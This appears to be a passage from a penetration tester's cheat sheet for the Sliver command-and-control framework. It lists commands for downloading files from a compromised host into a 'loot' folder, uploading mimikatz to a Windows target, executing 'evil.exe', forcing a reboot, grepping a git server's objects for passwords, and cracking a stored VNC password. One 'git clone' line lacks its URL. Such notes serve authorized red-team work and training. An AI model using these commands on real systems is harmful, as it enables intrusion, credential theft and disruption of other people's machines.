This will download the cloud-init.log to the loot folder in the directory that the server binary is in:

download /var/log/cloud-init.log loot

Download and extract folder

# Download the folder
download /path/to/folder loot/folder.tar.gz
# Extract it
gunzip < folder.tar.gz | tar -xvf -


Upload file

upload local_dir remote_dir

Upload mimikatz

upload /home/kali/ttp_tooling/ C:/Temp/

View log for errors

cat ~/.sliver/logs/sliver.log


Execute command

# Run a binary
execute C:/temp/evil.exe
# Run a command
execute shutdown /r /t 0

Search for secrets on git server

This can be useful if you land on a git server and want some juicy secrets

for i in $(git ls-tree -r master | cut -d " " -f 3 | cut -f 1); do echo -e "${i}"; git cat-file -p ${i} | grep -i password; done


Crack VNC password

git clone
cd vncpwd
./vncpwd /root/.vnc/passwd